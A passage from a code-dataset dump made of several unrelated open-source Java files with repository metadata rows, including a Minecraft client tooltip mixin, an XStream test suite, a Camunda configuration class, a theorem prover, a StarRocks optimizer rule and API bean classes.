* @date 2021-05-16 21:30:52
*/
public interface IntegrationChangeHistoryService extends IService<IntegrationChangeHistoryEntity> {
PageUtils queryPage(Map<String, Object> params);
}
|
3e0e42329ec2db646ce64c83b5ab8ca0169b9d29 | 999 | java | Java | src/main/java/me/ionar/salhack/mixin/client/MixinGuiScreen.java | brixalis/brixhack | ec86876f6a18b6886c301cf4afb0833850f5df93 | [
"BSD-3-Clause"
] | 4 | 2020-11-07T20:06:39.000Z | 2021-08-05T13:56:06.000Z | src/main/java/me/ionar/salhack/mixin/client/MixinGuiScreen.java | everything4lulz/salhack | fae94597267b1dd48d1ae04f89a75f8bfdabb674 | [
"BSD-3-Clause"
] | null | null | null | src/main/java/me/ionar/salhack/mixin/client/MixinGuiScreen.java | everything4lulz/salhack | fae94597267b1dd48d1ae04f89a75f8bfdabb674 | [
"BSD-3-Clause"
] | 6 | 2020-07-01T15:11:27.000Z | 2021-10-03T22:06:50.000Z | 33.3 | 81 | 0.767768 | 6,046 | package me.ionar.salhack.mixin.client;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.injection.Inject;
import net.minecraft.client.gui.GuiScreen;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.item.ItemStack;
import org.spongepowered.asm.mixin.injection.At;
import org.spongepowered.asm.mixin.injection.Inject;
import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
import me.ionar.salhack.SalHackMod;
import me.ionar.salhack.events.render.EventRenderSetupFog;
import me.ionar.salhack.events.render.EventRenderTooltip;
@Mixin(GuiScreen.class)
public class MixinGuiScreen
{
@Inject(method = "renderToolTip", at = @At("HEAD"), cancellable = true)
public void renderToolTip(ItemStack stack, int x, int y, CallbackInfo p_Info)
{
EventRenderTooltip l_Event = new EventRenderTooltip(stack, x, y);
SalHackMod.EVENT_BUS.post(l_Event);
if (l_Event.isCancelled())
p_Info.cancel();
}
}
|
3e0e42c1f880d36e82a579ad259dacb104540cb7 | 2,977 | java | Java | xstream/src/test/com/thoughtworks/xstream/io/DriverEndToEndTestSuite.java | fukata/xstream-for-android | b24abda71606b97232d4a3634b3eb0983cddb99a | [
"BSD-3-Clause"
] | 1 | 2015-04-24T06:54:05.000Z | 2015-04-24T06:54:05.000Z | xstream/src/test/com/thoughtworks/xstream/io/DriverEndToEndTestSuite.java | fukata/xstream-for-android | b24abda71606b97232d4a3634b3eb0983cddb99a | [
"BSD-3-Clause"
] | null | null | null | xstream/src/test/com/thoughtworks/xstream/io/DriverEndToEndTestSuite.java | fukata/xstream-for-android | b24abda71606b97232d4a3634b3eb0983cddb99a | [
"BSD-3-Clause"
] | null | null | null | 35.023529 | 111 | 0.681559 | 6,047 | /*
* Copyright (C) 2005 Joe Walnes.
* Copyright (C) 2006, 2007 XStream Committers.
* All rights reserved.
*
* The software in this package is published under the terms of the BSD
* style license a copy of which has been included with this distribution in
* the LICENSE.txt file.
*
* Created on 30. April 2005 by Joe Walnes
*/
package com.thoughtworks.xstream.io;
import junit.framework.Assert;
import junit.framework.AssertionFailedError;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
import com.thoughtworks.acceptance.objects.Software;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.core.JVM;
//import com.thoughtworks.xstream.io.xml.Dom4JDriver;
import com.thoughtworks.xstream.io.xml.DomDriver;
//import com.thoughtworks.xstream.io.xml.JDomDriver;
//import com.thoughtworks.xstream.io.xml.StaxDriver;
//import com.thoughtworks.xstream.io.xml.XomDriver;
import com.thoughtworks.xstream.io.xml.XppDomDriver;
import com.thoughtworks.xstream.io.xml.XppDriver;
public class DriverEndToEndTestSuite extends TestSuite {
public static Test suite() {
return new DriverEndToEndTestSuite();
}
public DriverEndToEndTestSuite() {
super(DriverEndToEndTestSuite.class.getName());
// addDriverTest(new Dom4JDriver());
addDriverTest(new DomDriver());
// addDriverTest(new JDomDriver());
// addDriverTest(new StaxDriver());
addDriverTest(new XppDomDriver());
addDriverTest(new XppDriver());
// addDriverTest(new XomDriver());
if (JVM.is14()) {
JVM jvm = new JVM();
Class driverType = jvm.loadClass("com.thoughtworks.xstream.io.json.JettisonMappedXmlDriver");
try {
addDriverTest((HierarchicalStreamDriver)driverType.newInstance());
} catch (InstantiationException e) {
throw new AssertionFailedError("Cannot instantiate " + driverType.getName());
} catch (IllegalAccessException e) {
throw new AssertionFailedError("Cannot access default constructor of " + driverType.getName());
}
}
}
private void test(HierarchicalStreamDriver driver) {
XStream xstream = new XStream(driver);
Object in = new Software("some vendor", "some name");
String xml = xstream.toXML(in);
Object out = xstream.fromXML(xml);
Assert.assertEquals(in, out);
}
private void addDriverTest(final HierarchicalStreamDriver driver) {
String testName = getShortName(driver);
addTest(new TestCase(testName) {
protected void runTest() throws Throwable {
test(driver);
}
});
}
private String getShortName(HierarchicalStreamDriver driver) {
String result = driver.getClass().getName();
result = result.substring(result.lastIndexOf('.') + 1);
return result;
}
}
|
3e0e4341138eabd0aafdfa8a1420f96bad20c9b1 | 1,715 | java | Java | spring-boot-starter/starter-client/spring-boot/src/main/java/org/camunda/bpm/client/spring/boot/starter/impl/ClientAutoConfiguration.java | mrFranklin/camunda-bpm-platform | 7c5bf37307d3eeac3aee5724b6e4669a9992eaba | [
"Apache-2.0"
] | 2,577 | 2015-01-02T07:43:55.000Z | 2022-03-31T22:31:45.000Z | spring-boot-starter/starter-client/spring-boot/src/main/java/org/camunda/bpm/client/spring/boot/starter/impl/ClientAutoConfiguration.java | mrFranklin/camunda-bpm-platform | 7c5bf37307d3eeac3aee5724b6e4669a9992eaba | [
"Apache-2.0"
] | 839 | 2015-01-12T22:06:28.000Z | 2022-03-24T13:26:29.000Z | spring-boot-starter/starter-client/spring-boot/src/main/java/org/camunda/bpm/client/spring/boot/starter/impl/ClientAutoConfiguration.java | mrFranklin/camunda-bpm-platform | 7c5bf37307d3eeac3aee5724b6e4669a9992eaba | [
"Apache-2.0"
] | 1,270 | 2015-01-02T03:39:25.000Z | 2022-03-31T06:04:37.000Z | 40.833333 | 87 | 0.80758 | 6,048 | /*
* Copyright Camunda Services GmbH and/or licensed to Camunda Services GmbH
* under one or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information regarding copyright
* ownership. Camunda licenses this file to you under the Apache License,
* Version 2.0; you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.camunda.bpm.client.spring.boot.starter.impl;
import org.camunda.bpm.client.spring.boot.starter.ClientProperties;
import org.camunda.bpm.client.spring.impl.client.ClientPostProcessor;
import org.camunda.bpm.client.spring.impl.subscription.SubscriptionPostProcessor;
import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
@EnableConfigurationProperties({ClientProperties.class})
public class ClientAutoConfiguration {
@Bean
public static SubscriptionPostProcessor subscriptionPostprocessor() {
return new SubscriptionPostProcessor(PropertiesAwareSpringTopicSubscription.class);
}
@Bean
public static ClientPostProcessor clientPostProcessor() {
return new ClientPostProcessor(PropertiesAwareClientFactory.class);
}
}
|
3e0e43518ab9bb7e7e2bc2c6cfe21adde58de06f | 693 | java | Java | actor-sdk/sdk-core/core/core-shared/src/main/java/im/actor/core/api/ApiColors.java | qinFamily/dangchat-sdk | fd0f55a13aeb618bc0c5af47fd5ee11f6709c914 | [
"Apache-2.0"
] | 1 | 2016-12-31T07:15:15.000Z | 2016-12-31T07:15:15.000Z | actor-sdk/sdk-core/core/core-shared/src/main/java/im/actor/core/api/ApiColors.java | qinFamily/dangchat-sdk | fd0f55a13aeb618bc0c5af47fd5ee11f6709c914 | [
"Apache-2.0"
] | null | null | null | actor-sdk/sdk-core/core/core-shared/src/main/java/im/actor/core/api/ApiColors.java | qinFamily/dangchat-sdk | fd0f55a13aeb618bc0c5af47fd5ee11f6709c914 | [
"Apache-2.0"
] | 16 | 2016-07-23T05:22:42.000Z | 2019-05-25T23:37:21.000Z | 20.382353 | 66 | 0.5671 | 6,049 | package im.actor.core.api;
/*
* Generated by the Actor API Scheme generator. DO NOT EDIT!
*/
import java.io.IOException;
public enum ApiColors {
RED(1),
YELLOW(2),
GREEN(3),
UNSUPPORTED_VALUE(-1);
private int value;
ApiColors(int value) {
this.value = value;
}
public int getValue() {
return value;
}
public static ApiColors parse(int value) throws IOException {
switch(value) {
case 1: return ApiColors.RED;
case 2: return ApiColors.YELLOW;
case 3: return ApiColors.GREEN;
default: return ApiColors.UNSUPPORTED_VALUE;
}
}
}
|
3e0e437d765bf05784a1168aaeb36f68fe906343 | 7,150 | java | Java | prover/src/main/java/prover/Superposition.java | russellw/ml | afc51f763185c18fd659264a448ec4a155ee7f4d | [
"MIT"
] | null | null | null | prover/src/main/java/prover/Superposition.java | russellw/ml | afc51f763185c18fd659264a448ec4a155ee7f4d | [
"MIT"
] | null | null | null | prover/src/main/java/prover/Superposition.java | russellw/ml | afc51f763185c18fd659264a448ec4a155ee7f4d | [
"MIT"
] | null | null | null | 26.190476 | 87 | 0.575245 | 6,050 | package prover;
import java.util.*;
// The superposition calculus generates new clauses by three rules:
//
// Equality resolution
// c | c0 != c1
// ->
// c/s
// where
// s = unify(c0, c1)
//
// Equality factoring
// c | c0 = c1 | d0 = d1
// ->
// (c | c0 = c1 | c1 != d1)/s
// where
// s = unify(c0, d0)
//
// Superposition
// c | c0 = c1, d | d0(a) ?= d1
// ->
// (c | d | d0(c1) ?= d1)/s
// where
// s = unify(c0, a)
// a not variable
//
// This is a partial implementation of the superposition calculus
// A full implementation would also implement an order on equations
// e.g. lexicographic path ordering or Knuth-Bendix ordering
public final class Superposition {
public static long timeout;
public static List<Clause> processed;
public static PriorityQueue<Clause> unprocessed;
public static Clause proof;
private Superposition() {}
public static Boolean satisfiable(Collection<Clause> clauses) {
unprocessed = new PriorityQueue<>(Comparator.comparingDouble(Clause::cost));
unprocessed.addAll(clauses);
processed = new ArrayList<>();
proof = null;
while (!unprocessed.isEmpty()) {
// Given clause
var g = unprocessed.poll();
if (g.subsumed) {
continue;
}
System.out.println(g);
// Solved?
if (g.isFalse()) {
proof = g;
return false;
}
// Check resources
if (System.currentTimeMillis() > timeout) {
return null;
}
// Subsume
if (Subsumption.subsumesForward(processed, g)) {
continue;
}
// Infer from one clause
resolution(g);
factoring(g);
// Sometimes need to match g with itself
processed.add(g);
// match/unify assume clauses have disjoint variable names
g = g.rename();
// Infer from two clauses
for (var c : processed) {
if (c.subsumed) {
continue;
}
superposition(c, g);
superposition(g, c);
}
}
return true;
}
private static void clause(Clause c) {
if (c.isTrue()) {
return;
}
unprocessed.add(c);
}
// For each positive equation (both directions)
private static void factoring(Clause c) {
for (var i = c.negativeSize; i < c.literals.length; i++) {
var e = Eq.of(c.literals[i]);
factoring(c, i, e.left, e.right);
factoring(c, i, e.right, e.left);
}
}
// For each positive equation (both directions) again
private static void factoring(Clause c, int ci, Term c0, Term c1) {
for (var i = c.negativeSize; i < c.literals.length; i++) {
if (i == ci) {
continue;
}
var e = Eq.of(c.literals[i]);
factoring(c, c0, c1, i, e.left, e.right);
factoring(c, c0, c1, i, e.right, e.left);
}
}
// Substitute and make new clause
private static void factoring(Clause c, Term c0, Term c1, int di, Term d0, Term d1) {
if (!Eq.equatable(c1, d1)) {
return;
}
var map = new HashMap<Variable, Term>();
if (!c0.unify(d0, map)) {
return;
}
// Negative literals
var negative = new ArrayList<Term>(c.negativeSize + 1);
for (var i = 0; i < c.negativeSize; i++) {
negative.add(c.literals[i].replace(map));
}
negative.add(new Eq(c1, d1).replace(map).term());
// Positive literals
var positive = new ArrayList<Term>(c.positiveSize() - 1);
for (var i = c.negativeSize; i < c.literals.length; i++) {
if (i != di) {
positive.add(c.literals[i].replace(map));
}
}
// Make new clause
clause(new Clause(negative, positive, c));
}
// For each negative equation
private static void resolution(Clause c) {
for (var i = 0; i < c.negativeSize; i++) {
var e = Eq.of(c.literals[i]);
var map = new HashMap<Variable, Term>();
if (e.left.unify(e.right, map)) {
resolution(c, i, map);
}
}
}
// Substitute and make new clause
private static void resolution(Clause c, int ci, Map<Variable, Term> map) {
// Negative literals
var negative = new ArrayList<Term>(c.negativeSize - 1);
for (var i = 0; i < c.negativeSize; i++) {
if (i != ci) {
negative.add(c.literals[i].replace(map));
}
}
// Positive literals
var positive = new ArrayList<Term>(c.positiveSize());
for (var i = c.negativeSize; i < c.literals.length; i++) {
positive.add(c.literals[i].replace(map));
}
// Make new clause
clause(new Clause(negative, positive, c));
}
// For each positive equation in c (both directions)
private static void superposition(Clause c, Clause d) {
for (var i = c.negativeSize; i < c.literals.length; i++) {
var e = Eq.of(c.literals[i]);
superposition(c, d, i, e.left, e.right);
superposition(c, d, i, e.right, e.left);
}
}
// For each equation in d (both directions)
private static void superposition(Clause c, Clause d, int ci, Term c0, Term c1) {
if (c0 == Term.TRUE) {
return;
}
for (var i = 0; i < d.literals.length; i++) {
var e = Eq.of(d.literals[i]);
superposition(c, d, ci, c0, c1, i, e.left, e.right, new ArrayList<>(), e.left);
superposition(c, d, ci, c0, c1, i, e.right, e.left, new ArrayList<>(), e.right);
}
}
// Descend into subterms
private static void superposition(
Clause c,
Clause d,
int ci,
Term c0,
Term c1,
int di,
Term d0,
Term d1,
List<Integer> position,
Term a) {
if (a instanceof Variable) {
return;
}
superposition1(c, d, ci, c0, c1, di, d0, d1, position, a);
for (var i = 1; i < a.size(); i++) {
position.add(i);
superposition(c, d, ci, c0, c1, di, d0, d1, position, a.get(i));
position.remove(position.size() - 1);
}
}
// Check this subterm, substitute and make new clause
private static void superposition1(
Clause c,
Clause d,
int ci,
Term c0,
Term c1,
int di,
Term d0,
Term d1,
List<Integer> position,
Term a) {
var map = new HashMap<Variable, Term>();
if (!c0.unify(a, map)) {
return;
}
var e = new Eq(d0.splice(position, c1), d1);
// Negative literals
var negative = new ArrayList<Term>(c.negativeSize + d.negativeSize);
for (var i = 0; i < c.negativeSize; i++) {
negative.add(c.literals[i].replace(map));
}
for (var i = 0; i < d.negativeSize; i++) {
if (i != di) {
negative.add(d.literals[i].replace(map));
}
}
// Positive literals
var positive = new ArrayList<Term>(c.positiveSize() + d.positiveSize() - 1);
for (var i = c.negativeSize; i < c.literals.length; i++) {
if (i != ci) {
positive.add(c.literals[i].replace(map));
}
}
for (var i = d.negativeSize; i < d.literals.length; i++) {
if (i != di) {
positive.add(d.literals[i].replace(map));
}
}
// Negative and positive superposition
((di < d.negativeSize) ? negative : positive).add(e.replace(map).term());
// Make new clause
clause(new Clause(negative, positive, c, d));
}
}
|
3e0e43990fb7a8385b81b589e9c7cd1116b74abc | 9,963 | java | Java | fe/fe-core/src/main/java/com/starrocks/sql/optimizer/rule/transformation/PushDownJoinAggRule.java | sevev/starrocks | ccb6bce50605317ee7c392e8a633d87146887643 | [
"Zlib",
"Apache-2.0",
"MIT"
] | 2,519 | 2021-09-08T01:41:12.000Z | 2022-03-31T17:14:29.000Z | fe/fe-core/src/main/java/com/starrocks/sql/optimizer/rule/transformation/PushDownJoinAggRule.java | sevev/starrocks | ccb6bce50605317ee7c392e8a633d87146887643 | [
"Zlib",
"Apache-2.0",
"MIT"
] | 2,671 | 2021-09-08T01:43:45.000Z | 2022-03-31T23:45:52.000Z | fe/fe-core/src/main/java/com/starrocks/sql/optimizer/rule/transformation/PushDownJoinAggRule.java | sevev/starrocks | ccb6bce50605317ee7c392e8a633d87146887643 | [
"Zlib",
"Apache-2.0",
"MIT"
] | 499 | 2021-09-08T01:43:54.000Z | 2022-03-31T07:14:17.000Z | 44.28 | 120 | 0.686641 | 6,051 | // This file is licensed under the Elastic License 2.0. Copyright 2021-present, StarRocks Limited.
package com.starrocks.sql.optimizer.rule.transformation;
import com.google.common.collect.ImmutableMap;
import com.google.common.collect.Lists;
import com.starrocks.catalog.Column;
import com.starrocks.sql.optimizer.Group;
import com.starrocks.sql.optimizer.GroupExpression;
import com.starrocks.sql.optimizer.OptExpression;
import com.starrocks.sql.optimizer.OptimizerContext;
import com.starrocks.sql.optimizer.Utils;
import com.starrocks.sql.optimizer.base.ColumnRefFactory;
import com.starrocks.sql.optimizer.base.ColumnRefSet;
import com.starrocks.sql.optimizer.operator.OperatorType;
import com.starrocks.sql.optimizer.operator.Projection;
import com.starrocks.sql.optimizer.operator.logical.LogicalAggregationOperator;
import com.starrocks.sql.optimizer.operator.logical.LogicalJoinOperator;
import com.starrocks.sql.optimizer.operator.logical.LogicalOlapScanOperator;
import com.starrocks.sql.optimizer.operator.pattern.Pattern;
import com.starrocks.sql.optimizer.operator.scalar.CallOperator;
import com.starrocks.sql.optimizer.operator.scalar.ColumnRefOperator;
import com.starrocks.sql.optimizer.operator.scalar.ScalarOperator;
import com.starrocks.sql.optimizer.rewrite.ScalarEquivalenceExtractor;
import com.starrocks.sql.optimizer.rule.RuleType;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.function.Function;
import java.util.stream.Collectors;
@Deprecated
// Can't promise output unique columns
//
// Push down Join
// Before:
// Join
// / \
// LEFT Aggregation
// \
// ....
//
//
// After:
// Aggregation
// |
// Join
// / \
// LEFT ....
//
// Requirements:
// 1. Must be Inner-Join or Left-Outer-Join
// 2. Aggregate isn't split and the functions can't contain COUNT(*)
// 3. Promise left output columns is unique
//
public class PushDownJoinAggRule extends TransformationRule {
private static final Map<String, List<String>> MOCK_TPCH_PRIMARY_KEYS = ImmutableMap.<String, List<String>>builder()
.put("region", Lists.newArrayList("r_regionkey"))
.put("supplier", Lists.newArrayList("s_suppkey"))
.put("partsupp", Lists.newArrayList("ps_partkey"))
.put("orders", Lists.newArrayList("o_orderkey"))
.put("customer", Lists.newArrayList("c_custkey"))
.put("nation", Lists.newArrayList("n_nationkey"))
.put("part", Lists.newArrayList("p_partkey"))
.put("lineitem", Lists.newArrayList("l_orderkey"))
.build();
private PushDownJoinAggRule() {
super(RuleType.TF_PUSH_DOWN_JOIN_AGG, Pattern.create(OperatorType.LOGICAL_JOIN).addChildren(
Pattern.create(OperatorType.PATTERN_LEAF),
Pattern.create(OperatorType.LOGICAL_AGGR, OperatorType.PATTERN_LEAF)));
}
private static final PushDownJoinAggRule instance = new PushDownJoinAggRule();
public static PushDownJoinAggRule getInstance() {
return instance;
}
@Override
public boolean check(OptExpression input, OptimizerContext context) {
LogicalJoinOperator ljo = (LogicalJoinOperator) input.getOp();
LogicalAggregationOperator rightAggOperator = (LogicalAggregationOperator) input.getInputs().get(1).getOp();
// Can't resolve COUNT(*)
return (ljo.getJoinType().isInnerJoin() || ljo.getJoinType().isLeftOuterJoin())
&& rightAggOperator.getType().isGlobal()
&& !rightAggOperator.isSplit()
&& rightAggOperator.getAggregations().values().stream().noneMatch(CallOperator::isCountStar);
}
private List<String> getTpchMockPrimaryKeys(String table) {
return MOCK_TPCH_PRIMARY_KEYS.getOrDefault(table.toLowerCase(), Collections.emptyList());
}
@Override
public List<OptExpression> transform(OptExpression input, OptimizerContext context) {
OptExpression leftExpression = input.getInputs().get(0);
OptExpression rightAggExpression = input.getInputs().get(1);
LogicalAggregationOperator rightAggOperator = (LogicalAggregationOperator) input.getInputs().get(1).getOp();
LogicalJoinOperator inputJoinOperator = (LogicalJoinOperator) input.getOp();
ColumnRefFactory factory = context.getColumnRefFactory();
List<ColumnRefOperator> leftOutput =
Arrays.stream(leftExpression.getOutputColumns().getColumnIds()).mapToObj(factory::getColumnRef).collect(
Collectors.toList());
if (!checkIsUnique(leftOutput, leftExpression)) {
return Collections.emptyList();
}
List<ScalarOperator> newJoinOnPredicate = Lists.newArrayList();
List<ScalarOperator> newJoinFilterPredicate = Lists.newArrayList();
List<ScalarOperator> newAggFilterPredicate = Lists.newArrayList();
for (ScalarOperator on : Utils.extractConjuncts(inputJoinOperator.getOnPredicate())) {
if (Collections.disjoint(rightAggOperator.getAggregations().keySet(), Utils.extractColumnRef(on))) {
newJoinOnPredicate.add(on);
} else {
newAggFilterPredicate.add(on);
}
}
for (ScalarOperator filter : Utils.extractConjuncts(inputJoinOperator.getPredicate())) {
if (Collections.disjoint(rightAggOperator.getAggregations().keySet(), Utils.extractColumnRef(filter))) {
newJoinFilterPredicate.add(filter);
} else {
newAggFilterPredicate.add(filter);
}
}
List<ScalarOperator> requiredOutput =
Arrays.stream(context.getTaskContext().get(0).getRequiredColumns().getColumnIds())
.mapToObj(factory::getColumnRef).collect(Collectors.toList());
ScalarEquivalenceExtractor equivalenceExtractor = new ScalarEquivalenceExtractor();
equivalenceExtractor.union(Utils.extractConjuncts(inputJoinOperator.getOnPredicate()));
for (ColumnRefOperator gk : rightAggOperator.getGroupingKeys()) {
if (requiredOutput.contains(gk)) {
leftOutput.add(gk);
} else {
Set<ScalarOperator> equivalences = equivalenceExtractor.getEquivalentColumnRefs(gk);
if (Collections.disjoint(equivalences, leftOutput)) {
leftOutput.add(gk);
}
}
}
ColumnRefSet newJoinPruneOutPutColumns = new ColumnRefSet(leftOutput);
newJoinPruneOutPutColumns.union(rightAggExpression.inputAt(0).getOutputColumns());
LogicalJoinOperator.Builder newJoinBuilder = new LogicalJoinOperator.Builder().withOperator(inputJoinOperator)
.setOnPredicate(Utils.compoundAnd(newJoinOnPredicate))
.setPredicate(Utils.compoundAnd(newJoinFilterPredicate));
ColumnRefSet inputColumns = new ColumnRefSet();
inputColumns.union(input.inputAt(0).getOutputColumns());
inputColumns.union(rightAggExpression.inputAt(0).getOutputColumns());
if (newJoinPruneOutPutColumns.equals(inputColumns)) {
newJoinBuilder.setProjection(null);
} else {
newJoinBuilder.setProjection(
new Projection(newJoinPruneOutPutColumns.getStream().mapToObj(factory::getColumnRef)
.collect(Collectors.toMap(Function.identity(), Function.identity())), new HashMap<>()));
}
OptExpression newJoinExpression = new OptExpression(newJoinBuilder.build());
newJoinExpression.getInputs().add(input.getInputs().get(0));
newJoinExpression.getInputs().addAll(rightAggExpression.getInputs());
LogicalAggregationOperator newAgg = new LogicalAggregationOperator(rightAggOperator.getType(), leftOutput,
rightAggOperator.getAggregations());
newAggFilterPredicate.add(rightAggOperator.getPredicate());
newAgg.setPredicate(Utils.compoundAnd(newAggFilterPredicate));
OptExpression newAggExpression = new OptExpression(newAgg);
newAggExpression.getInputs().add(newJoinExpression);
return Lists.newArrayList(newAggExpression);
}
// now just check isn't primary key
private boolean checkIsUnique(List<ColumnRefOperator> leftOutput, OptExpression left) {
return checkContainsAllPrimaryKey(leftOutput, left.getGroupExpression());
}
// Requirements:
// 1. Scan node return columns must contains all primary key
private boolean checkContainsAllPrimaryKey(List<ColumnRefOperator> leftOutput,
GroupExpression groupExpression) {
if (OperatorType.LOGICAL_OLAP_SCAN.equals(groupExpression.getOp().getOpType())) {
LogicalOlapScanOperator loso = (LogicalOlapScanOperator) groupExpression.getOp();
Map<ColumnRefOperator, Column> askColumnsMap = loso.getColRefToColumnMetaMap();
List<String> keyColumns = getTpchMockPrimaryKeys(loso.getTable().getName());
if (keyColumns.isEmpty()) {
return false;
}
List<ColumnRefOperator> keyColumnRefs = askColumnsMap.entrySet().stream()
.filter(e -> keyColumns.contains(e.getValue().getName().toLowerCase())).map(Map.Entry::getKey)
.collect(Collectors.toList());
return leftOutput.containsAll(keyColumnRefs);
}
List<Group> groups = groupExpression.getInputs();
for (Group group : groups) {
GroupExpression expression = group.getFirstLogicalExpression();
if (!checkContainsAllPrimaryKey(leftOutput, expression)) {
return false;
}
}
return true;
}
}
|
3e0e43a4fad34de04170fded1becc1ebc245b0cf | 822 | java | Java | Exercises/01. Defining Classes (Lab)/src/Ex2_ConstructorsAndStatics/Person.java | KristiyanSevov/SoftUni-Java-OOP-Basics | 204b98921191ce67a382ba8009e254cb5edd0018 | [
"MIT"
] | 1 | 2022-02-07T16:49:58.000Z | 2022-02-07T16:49:58.000Z | Exercises/01. Defining Classes (Lab)/src/Ex2_ConstructorsAndStatics/Person.java | KristiyanSevov/SoftUni-Java-OOP-Basics | 204b98921191ce67a382ba8009e254cb5edd0018 | [
"MIT"
] | null | null | null | Exercises/01. Defining Classes (Lab)/src/Ex2_ConstructorsAndStatics/Person.java | KristiyanSevov/SoftUni-Java-OOP-Basics | 204b98921191ce67a382ba8009e254cb5edd0018 | [
"MIT"
] | null | null | null | 20.04878 | 81 | 0.608273 | 6,052 | package Ex2_ConstructorsAndStatics;
import java.util.ArrayList;
import java.util.List;
public class Person {
private String name;
private int age;
private List<BankAccount> accounts;
public Person(String name, int age) {
this(name, age, new ArrayList<>());
}
public Person(String name, int age, List<BankAccount> accounts) {
this.name = name;
this.age = age;
this.accounts = accounts;
}
public double getBalance(){
return this.accounts.stream().mapToDouble(BankAccount::getBalance).sum();
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
|
3e0e4440fbf45d2052419b24bd3e08bf2b1170ab | 7,225 | java | Java | src/main/java/me/adaptive/arp/api/ServiceResponse.java | AdaptiveMe/adaptive-arp-libs | 0f82ff5ee73fbde03f9bacfdd731b3661c3968f8 | [
"Apache-2.0"
] | 3 | 2015-03-26T19:42:45.000Z | 2018-01-27T21:58:59.000Z | src/main/java/me/adaptive/arp/api/ServiceResponse.java | AdaptiveMe/adaptive-arp-libs | 0f82ff5ee73fbde03f9bacfdd731b3661c3968f8 | [
"Apache-2.0"
] | 2 | 2015-03-30T09:26:53.000Z | 2015-03-30T09:27:05.000Z | src/main/java/me/adaptive/arp/api/ServiceResponse.java | AdaptiveMe/adaptive-arp-libs | 0f82ff5ee73fbde03f9bacfdd731b3661c3968f8 | [
"Apache-2.0"
] | 2 | 2015-04-13T10:37:23.000Z | 2017-11-19T04:30:55.000Z | 27.727969 | 204 | 0.60771 | 6,053 | /**
--| ADAPTIVE RUNTIME PLATFORM |----------------------------------------------------------------------------------------
(C) Copyright 2013-2015 Carlos Lozano Diez t/a Adaptive.me <http://adaptive.me>.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the
License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 . Unless required by appli-
-cable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing
permissions and limitations under the License.
Original author:
* Carlos Lozano Diez
<http://github.com/carloslozano>
<http://twitter.com/adaptivecoder>
<mailto:kenaa@example.com>
Contributors:
* Ferran Vila Conesa
<http://github.com/fnva>
<http://twitter.com/ferran_vila>
<mailto:envkt@example.com>
* See source code files for contributors.
Release:
* @version v2.2.15
-------------------------------------------| aut inveniam viam aut faciam |--------------------------------------------
*/
package me.adaptive.arp.api;
import java.io.Serializable;
/**
Represents a local or remote service response.
@author Aryslan
@since v2.0
@version 1.0
*/
public class ServiceResponse extends APIBean implements Serializable {
/**
Java serialization support.
@since 2.2.13
*/
private static final long serialVersionUID = 100354019L;
/**
Encoding of the binary payload - by default assumed to be UTF8.
*/
private IServiceContentEncoding contentEncoding;
/**
Response data content. The content should be in some well-known web format - in specific, binaries returned
should be encoded in base64.
*/
private String content;
/**
The length in bytes for the Content field.
*/
private int contentLength;
/**
The request/response content type (MIME TYPE).
*/
private String contentType;
/**
The serviceHeaders array (name,value pairs) to be included on the I/O service request.
*/
private ServiceHeader[] serviceHeaders;
/**
Information about the session.
*/
private ServiceSession serviceSession;
/**
HTTP Status code of the response. With this status code it is possible to perform some actions, redirects, authentication, etc.
*/
private int statusCode;
/**
Default constructor.
@since v2.0
*/
public ServiceResponse() {
}
/**
Constructor with fields
@param content Request/Response data content (plain text).
@param contentType The request/response content type (MIME TYPE).
@param contentEncoding Encoding of the binary payload - by default assumed to be UTF8.
@param contentLength The length in bytes for the Content field.
@param serviceHeaders The serviceHeaders array (name,value pairs) to be included on the I/O service request.
@param serviceSession Information about the session
@param statusCode HTTP Status code of the response.
@since v2.0
*/
public ServiceResponse(String content, String contentType, IServiceContentEncoding contentEncoding, int contentLength, ServiceHeader[] serviceHeaders, ServiceSession serviceSession, int statusCode) {
super();
this.content = content;
this.contentType = contentType;
this.contentEncoding = contentEncoding;
this.contentLength = contentLength;
this.serviceHeaders = serviceHeaders;
this.serviceSession = serviceSession;
this.statusCode = statusCode;
}
/**
Returns the content encoding
@return contentEncoding
@since v2.0
*/
public IServiceContentEncoding getContentEncoding() {
return this.contentEncoding;
}
/**
Set the content encoding
@param contentEncoding Encoding of the binary payload - by default assumed to be UTF8.
@since v2.0
*/
public void setContentEncoding(IServiceContentEncoding contentEncoding) {
this.contentEncoding = contentEncoding;
}
/**
Returns the content
@return content
@since v2.0
*/
public String getContent() {
return this.content;
}
/**
Set the content
@param content Request/Response data content (plain text).
@since v2.0
*/
public void setContent(String content) {
this.content = content;
}
/**
Returns the content length
@return contentLength
@since v2.0
*/
public int getContentLength() {
return this.contentLength;
}
/**
Set the content length.
@param contentLength The length in bytes for the Content field.
@since v2.0
*/
public void setContentLength(int contentLength) {
this.contentLength = contentLength;
}
/**
Returns the content type
@return contentType
@since v2.0
*/
public String getContentType() {
return this.contentType;
}
/**
Set the content type
@param contentType The request/response content type (MIME TYPE).
@since v2.0
*/
public void setContentType(String contentType) {
this.contentType = contentType;
}
/**
Returns the array of ServiceHeader
@return serviceHeaders
@since v2.0
*/
public ServiceHeader[] getServiceHeaders() {
return this.serviceHeaders;
}
/**
Set the array of ServiceHeader
@param serviceHeaders The serviceHeaders array (name,value pairs) to be included on the I/O service request.
@since v2.0
